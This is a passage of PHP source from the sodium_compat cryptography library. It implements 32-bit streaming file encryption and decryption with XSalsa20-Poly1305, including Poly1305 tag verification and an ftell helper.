$mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
}
$block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);
/** @var string $block0 */
$block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
$block0,
$realNonce,
$subkey
);
$state = new ParagonIE_Sodium_Core32_Poly1305_State(
ParagonIE_Sodium_Core32_Util::substr(
$block0,
0,
ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
)
);
// Pre-write 16 blank bytes for the Poly1305 tag
$start = self::ftell($ofp);
fwrite($ofp, str_repeat("\x00", 16));
/** @var string $c */
$cBlock = ParagonIE_Sodium_Core32_Util::substr(
$block0,
ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
);
$state->update($cBlock);
fwrite($ofp, $cBlock);
$mlen -= 32;
/** @var int $iter */
$iter = 1;
/** @var int $incr */
$incr = self::BUFFER_SIZE >> 6;
/*
* Set the cursor to the end of the first half-block. All future bytes will
* generated from salsa20_xor_ic, starting from 1 (second block).
*/
fseek($ifp, $first32, SEEK_SET);
while ($mlen > 0) {
$blockSize = $mlen > self::BUFFER_SIZE
? self::BUFFER_SIZE
: $mlen;
$plaintext = fread($ifp, $blockSize);
if (!is_string($plaintext)) {
throw new SodiumException('Could not read input file');
}
$cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
$plaintext,
$realNonce,
$iter,
$subkey
);
fwrite($ofp, $cBlock, $blockSize);
$state->update($cBlock);
$mlen -= $blockSize;
$iter += $incr;
}
try {
ParagonIE_Sodium_Compat::memzero($block0);
ParagonIE_Sodium_Compat::memzero($subkey);
} catch (SodiumException $ex) {
$block0 = null;
$subkey = null;
}
$end = self::ftell($ofp);
/*
* Write the Poly1305 authentication tag that provides integrity
* over the ciphertext (encrypt-then-MAC)
*/
fseek($ofp, $start, SEEK_SET);
fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
fseek($ofp, $end, SEEK_SET);
unset($state);
return true;
}
/**
* Decrypt a file (32-bit)
*
* @param resource $ifp
* @param resource $ofp
* @param int $mlen
* @param string $nonce
* @param string $key
* @return bool
* @throws SodiumException
* @throws TypeError
*/
protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
{
$tag = fread($ifp, 16);
if (!is_string($tag)) {
throw new SodiumException('Could not read input file');
}
/** @var string $subkey */
$subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);
/** @var string $realNonce */
$realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);
/** @var string $block0 */
$block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
64,
ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
$subkey
);
/* Verify the Poly1305 MAC -before- attempting to decrypt! */
$state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32));
if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) {
throw new SodiumException('Invalid MAC');
}
/*
* Set the cursor to the end of the first half-block. All future bytes will
* generated from salsa20_xor_ic, starting from 1 (second block).
*/
$first32 = fread($ifp, 32);
if (!is_string($first32)) {
throw new SodiumException('Could not read input file');
}
$first32len = self::strlen($first32);
fwrite(
$ofp,
self::xorStrings(
self::substr($block0, 32, $first32len),
self::substr($first32, 0, $first32len)
)
);
$mlen -= 32;
/** @var int $iter */
$iter = 1;
/** @var int $incr */
$incr = self::BUFFER_SIZE >> 6;
/* Decrypts ciphertext, writes to output file. */
while ($mlen > 0) {
$blockSize = $mlen > self::BUFFER_SIZE
? self::BUFFER_SIZE
: $mlen;
$ciphertext = fread($ifp, $blockSize);
if (!is_string($ciphertext)) {
throw new SodiumException('Could not read input file');
}
$pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
$ciphertext,
$realNonce,
$iter,
$subkey
);
fwrite($ofp, $pBlock, $blockSize);
$mlen -= $blockSize;
$iter += $incr;
}
return true;
}
/**
* One-time message authentication for 32-bit systems
*
* @param ParagonIE_Sodium_Core32_Poly1305_State $state
* @param resource $ifp
* @param string $tag
* @param int $mlen
* @return bool
* @throws SodiumException
* @throws TypeError
*/
protected static function onetimeauth_verify_core32(
ParagonIE_Sodium_Core32_Poly1305_State $state,
$ifp,
$tag = '',
$mlen = 0
) {
/** @var int $pos */
$pos = self::ftell($ifp);
while ($mlen > 0) {
$blockSize = $mlen > self::BUFFER_SIZE
? self::BUFFER_SIZE
: $mlen;
$ciphertext = fread($ifp, $blockSize);
if (!is_string($ciphertext)) {
throw new SodiumException('Could not read input file');
}
$state->update($ciphertext);
$mlen -= $blockSize;
}
$res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state->finish());
fseek($ifp, $pos, SEEK_SET);
return $res;
}
/**
* @param resource $resource
* @return int
* @throws SodiumException
*/
private static function ftell($resource)
{
$return = ftell($resource);
if (!is_int($return)) {
throw new SodiumException('ftell() returned false');
}
return (int) $return;
}
}